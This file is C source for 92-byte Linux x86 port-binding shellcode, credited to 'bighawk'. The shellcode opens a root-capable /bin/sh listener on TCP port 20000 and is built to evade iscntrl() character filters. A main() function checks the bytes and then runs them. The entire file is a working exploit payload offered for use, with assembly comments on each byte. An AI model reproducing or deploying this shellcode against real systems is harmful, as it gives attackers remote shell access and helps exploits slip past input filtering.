/* 92 bytes iscntrl() evading portbinding shellcode - linux-x86
 * - by bighawk (bighawk@warfare.com)
 *
 * This shellcode binds a shell on port 20000
 *
 * stdin, stdout and stderr are dupped. accept() arguments are sane.
 */

char code[] =

   "\x31\xdb"			// xor	   ebx, ebx
   "\xf7\xe3"			// mul	   ebx
   "\xb0\x66"			// mov     al, 102
   "\x53"			// push    ebx
   "\x43"			// inc     ebx
   "\x53"			// push    ebx
   "\x43"			// inc     ebx
   "\x53"			// push    ebx
   "\x89\xe1"			// mov     ecx, esp
   "\x4b"			// dec     ebx
   "\xcd\x80"			// int     80h
   "\x89\xc7"			// mov     edi, eax
   "\x52"			// push    edx
   "\x66\x68\x4e\x20"		// push    word 8270
   "\x43"			// inc     ebx
   "\x66\x53"			// push    bx
   "\x89\xe1"			// mov     ecx, esp
   "\xb0\xef"			// mov	   al, 239
   "\xf6\xd0"			// not	   al
   "\x50"			// push	   eax
   "\x51"			// push    ecx
   "\x57"			// push    edi
   "\x89\xe1"			// mov     ecx, esp
   "\xb0\x66"			// mov     al, 102
   "\xcd\x80"			// int     80h
   "\xb0\x66"			// mov     al, 102
   "\x43"			// inc	   ebx
   "\x43"			// inc	   ebx
   "\xcd\x80"			// int     80h
   "\x50"			// push	   eax
   "\x50"			// push	   eax
   "\x57"			// push	   edi
   "\x89\xe1"			// mov	   ecx, esp
   "\x43"			// inc	   ebx
   "\xb0\x66"			// mov	   al, 102
   "\xcd\x80"			// int	   80h
   "\x89\xd9"			// mov	   ecx, ebx
   "\x89\xc3"			// mov     ebx, eax
   "\xb0\x3f"			// mov     al, 63
   "\x49"			// dec     ecx
   "\xcd\x80"			// int     80h
   "\x41"			// inc     ecx
   "\xe2\xf8"			// loop    lp
   "\x51"			// push    ecx
   "\x68\x6e\x2f\x73\x68"	// push    dword 68732f6eh
   "\x68\x2f\x2f\x62\x69"	// push    dword 69622f2fh
   "\x89\xe3"			// mov     ebx, esp
   "\x51"			// push    ecx
   "\x53"			// push	   ebx
   "\x89\xe1"			// mov	   ecx, esp
   "\xb0\xf4"			// mov	   al, 244
   "\xf6\xd0"			// not	   al
   "\xcd\x80";			// int     80h


main() {
  void (*a)() = (void *)code;
  int i;
  printf("size: %d bytes\n", strlen(code));
  printf("Testing for cntrl characters.. ");
  for(i=0;i<strlen(code);i++)
     if(iscntrl(code[i])) printf("FAILED\n"), exit(255);
  printf("PASSED\n");
  a();
}